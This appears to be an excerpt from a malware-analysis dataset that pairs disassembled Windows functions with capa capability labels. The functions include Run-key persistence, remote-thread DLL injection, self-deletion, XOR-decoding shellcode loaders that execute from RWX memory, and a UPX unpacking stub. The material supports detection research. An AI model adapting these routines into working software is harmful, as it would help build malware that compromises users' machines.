joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1000b431
pop dword [ebp - 0x30]
mov eax, 0xc0fe1c4e
add eax, 0x4f0297e3
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x348e0
push 0
mov eax, 0xfb91b2a9
sub eax, 0xeb90f199
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x4c7d9b80
add ecx, 0xb382a1f0
xor ebx, ebx
add ebx, eax
mov esi, 0x6b2f5792
add esi, 0xa4d26e6e
add esi, dword [ebp - 0x30]
mov edx, 0x8a14b12d
xor dword [ebp - 0x24], esi
mov edi, dword [esi]
sub dword [ebp - 0x14], edi
add edi, edx
add dword [ebp - 0x14], 0xfea0872
mov dword [ebx], edi
add dword [ebp - 8], 0xaa18d0a5
add ebx, 0x1468eb12
sub ebx, 0x1468eb0e
add esi, 0x4ba08722
sub esi, 0x4ba0871e
loop 0x1000b48c
add eax, 0xe893
xor ebx, ebx
add ebx, eax
add eax, 0x54513988
sub eax, 0x54513983
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x6d0412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x6d041337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x6d041337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x6d041337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x6d041337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x6d041337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x6d04137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x6d041376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x6d041376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x6d041376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x6d041376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x6d041376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x6d041376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x6d041376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x6d04137d
mov eax, 1
jmp 0x6d041382
mov eax, 0
leave
ret

Function at 0x6d041384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6d0414bd
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6d0418fc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6d041c90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6d04603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6d046034]
sub esp, 4
test ebx, ebx
je 0x6d041cdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6d041cd4
test esi, esi
je 0x6d041cd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6d041cb0
mov dword [esp], 0x6d04603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6d041ec0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6d0441d4
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6d041f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6d041fe8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6d041f4e
cmp eax, 4
jne 0x6d041f70
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6d041f5e
cmp edx, 4
je 0x6d041f5e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6d041ec0
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10007073
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10007073
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10007073
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10007073
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10007073
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10007073
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10007073
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10007073
push 0xd008
push edi
call fcn.10007073
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10007073
int3

Function at 0x10007073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10007082
pop dword [ebp - 0x14]
mov eax, 0x3e496438
sub eax, 0x2e48f3b6
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3e1d5
push 0
mov eax, 0x81b12da2
add eax, 0x8e5012c2
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x5c57
mov edx, eax
mov ebx, 0x10018600
add ebx, dword [ebp - 0x14]
mov edi, 0xc782791c
mov esi, dword [ebx]
sub esi, edi
xor dword [ebp - 4], eax
mov dword [edx], esi
xor dword [ebp - 0xc], ebx
add edx, 4
add ebx, 4
loop 0x100070cf
add eax, 0x84eb9992
sub eax, 0x84ea3563
xor ebx, ebx
add ebx, eax
add eax, 0x826a96c
sub eax, 0x826a967
mov ecx, 0x486cf71
sub ecx, 0xf486cf71
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10014663
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10014672
pop dword [ebp - 0x2c]
mov eax, 0x657174bc
add eax, 0xaa8fd1b6
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3a0d4
push 0
mov eax, 0xc0b01433
sub eax, 0xb0aea2f3
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x177b0939
sub ecx, 0x177ac09c
mov edi, eax
mov ebx, 0x654f758f
add ebx, 0xaab2de71
add ebx, dword [ebp - 0x2c]
mov esi, 0xe52f8753
sub esi, 0xf4f88cb2
sub dword [ebp - 0x24], ecx
mov edx, dword [ebx]
sub dword [ebp - 8], 0x9690645d
xor edx, esi
mov dword [edi], edx
xor dword [ebp - 0x20], edi
add edi, 4
add ebx, 4
loop 0x100146d1
add eax, 0x11547
xor ebx, ebx
add ebx, eax
add eax, 0x180ce7bc
add eax, 0xe7f31849
mov ecx, 0xac22e193
sub ecx, 0x9c22e193
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40ef98
Capabilities:
Create pipe

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi + 0x84], edi
jne 0x40f035
push edi
xor ebx, ebx
mov dword [esi + 0x84], 2
inc ebx
push ebx
push edi
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov dword [esi + 0x44], eax
test eax, eax
je 0x40f035
push edi
push edi
push ebx
push edi
call dword [sym.imp.kernel32.dll_CreateEventW]
mov dword [esi + 0x9c], eax
test eax, eax
je 0x40f035
push 4
push 0xffffffffffffffff
push esi
push 0x40f74f
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.kernel32.dll_RegisterWaitForSingleObject]
test eax, eax
je 0x40f035
lea eax, [esi + 0x20]
cmp dword [eax + 0x14], 8
jb 0x40f000
mov eax, dword [eax]
push dword [esi + 0x38]
push edi
push 0x40
push 0x40
push ebx
push 6
push 0x40080003
push eax
call dword [sym.imp.kernel32.dll_CreateNamedPipeW]
mov dword [esi + 0x3c], eax
cmp eax, 0xffffffff
je 0x40f035
push dword [esi + 0x9c]
call dword [sym.imp.kernel32.dll_SetEvent]
test eax, eax
jne 0x40f03b
mov dword [esi + 0x84], ebx
xor al, al
pop edi
pop esi
pop ebx
ret
mov al, bl
jmp 0x40f037

Function at 0x413985
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x413995
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x41399b
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x4139c3
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x438830]
test ax, ax
jne 0x4139aa
mov esi, ecx
jmp 0x4139c6
movzx esi, si
pop edi
cmp cx, si
je 0x4139e3
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x438830]
test cx, cx
jne 0x4139c7
mov eax, 0x437348
jmp 0x4139eb
imul eax, edx, 0x1a
add eax, 0x438832
push eax
mov ecx, ebx
call main
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x41c3d7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x41c3e6
pop dword [ebp - 0x30]
mov eax, 0x41c3e6
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x44d3e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x501d
mov edx, eax
mov esi, 0x449800
add esi, dword [ebp - 0x30]
mov ebx, 0x359a4883
add dword [ebp - 0xc], 0x24e1cd36
mov edi, dword [esi]
xor dword [ebp - 0x18], ecx
sub edi, ebx
sub dword [ebp - 4], 0xcf0567fc
mov dword [edx], edi
add edx, 0xf544b07b
sub edx, 0xf544b077
add esi, 0x58d0f50e
add esi, 0xa72f0af6
loop 0x41c429
add eax, 0x4b1fd356
sub eax, 0x4b1ea00f
mov ebx, eax
add eax, 0xd7d81d6f
add eax, 0x2827e296
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40107e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x42e5c8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42e5cc]
xor ecx, ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ecx
call fcn.00401077
mov eax, dword [0x42e5d0]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x42e5d4]
add ebx, 0x23f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
jmp 0x4010d0
xor ecx, ecx
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
cmp dword [0x43d80c], 0xc
mov dword [ebp - 4], eax
jne 0x4010fa
push ecx
lea eax, [ebp - 0x2c]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov eax, dword [0x43d80c]
cmp eax, 0xfa9
jne 0x401116
mov dword [0x43d808], 0xedeb2e40
cmp eax, 0x3eb
jne 0x401137
push str.Zofuti
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
and dword [0x43d760], 0
mov ecx, dword [ebp - 8]
and dword [ebp - 0x10], 0
mov edx, edi
lea eax, [ebx + edi]
shr edx, cl
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov dword [0x43d804], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor eax, edx
sub esi, eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov edx, esi
shr edx, cl
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
add ebx, 0x61c88647
dec dword [ebp - 0x18]
jne 0x4010ce
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x40802f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42dd70]
jne 0x408039
repz ret
jmp fcn.0040c312

Function at 0x40a7c8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404be7
and dword [ebp - 4], 0
cmp dword [0x4327f8], 0
mov ebx, eax
jne 0x40a879
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a92a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a92a
push eax
call fcn.00404b75
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4327f8], eax
call esi
push eax
call fcn.00404b75
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4327fc], eax
call esi
push eax
call fcn.00404b75
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x432800], eax
call esi
push eax
call fcn.00404b75
pop ecx
mov dword [0x432808], eax
test eax, eax
je 0x40a879
push 0x429f18
push edi
call esi
push eax
call fcn.00404b75
pop ecx
mov dword [0x432804], eax
mov eax, dword [0x432804]
cmp eax, ebx
je 0x40a8d1
cmp dword [0x432808], ebx
je 0x40a8d1
push eax
call fcn.00404bf0
push dword [0x432808]
mov esi, eax
call fcn.00404bf0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a8d1
test edi, edi
je 0x40a8d1
call esi
test eax, eax
je 0x40a8c8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a8c8
test byte [ebp - 0xc], 1
jne 0x40a8d1
or dword [ebp + 0x10], 0x200000
jmp 0x40a90a
mov eax, dword [0x4327fc]
cmp eax, ebx
je 0x40a90a
push eax
call fcn.00404bf0
pop ecx
test eax, eax
je 0x40a90a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a90a
mov eax, dword [0x432800]
cmp eax, ebx
je 0x40a90a
push eax
call fcn.00404bf0
pop ecx
test eax, eax
je 0x40a90a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4327f8]
call fcn.00404bf0
pop ecx
test eax, eax
je 0x40a92a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a92c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x33de560
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22c1000]
push edi
or ebp, 0xffffffff
jmp 0x33de582
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x33de589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x33de578
mov eax, 1
add ebx, ebx
jne 0x33de59b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x33de5ac
jne 0x33de5cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x33de5cb
dec eax
add ebx, ebx
jne 0x33de5b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x33de590
add ebx, ebx
jne 0x33de5c7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x33de61d
xor ecx, ecx
sub eax, 3
jb 0x33de5e3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x33de652
sar eax, 1
mov ebp, eax
jmp 0x33de5ee
add ebx, ebx
jne 0x33de5ee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x33de5bc
inc ecx
add ebx, ebx
jne 0x33de5fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x33de5bc
add ebx, ebx
jne 0x33de609
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x33de5fe
jne 0x33de61a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x33de5fe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x33de63c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x33de62e
jmp 0x33de57e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x33de63c
add edi, ecx
jmp 0x33de57e
pop esi
mov edi, esi
mov ecx, 0xba967
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x33de65a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x33de65f
lea edi, [esi + 0x2e55000]
mov eax, dword [edi]
or eax, eax
je 0x33de6c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x304cfd4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x304d1b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x33de685
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x304d1b8]
or eax, eax
je 0x33de6c1
mov dword [ebx], eax
add ebx, 4
jmp 0x33de6a2
call dword [esi + 0x304d1c8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x33de6f8
cmp al, 0xef
ja 0x33de6eb
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x33de6cd
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x33de6da
mov ebp, dword [esi + 0x304d1bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x33de72c
sub esp, 0xffffff80
jmp 0x24f3054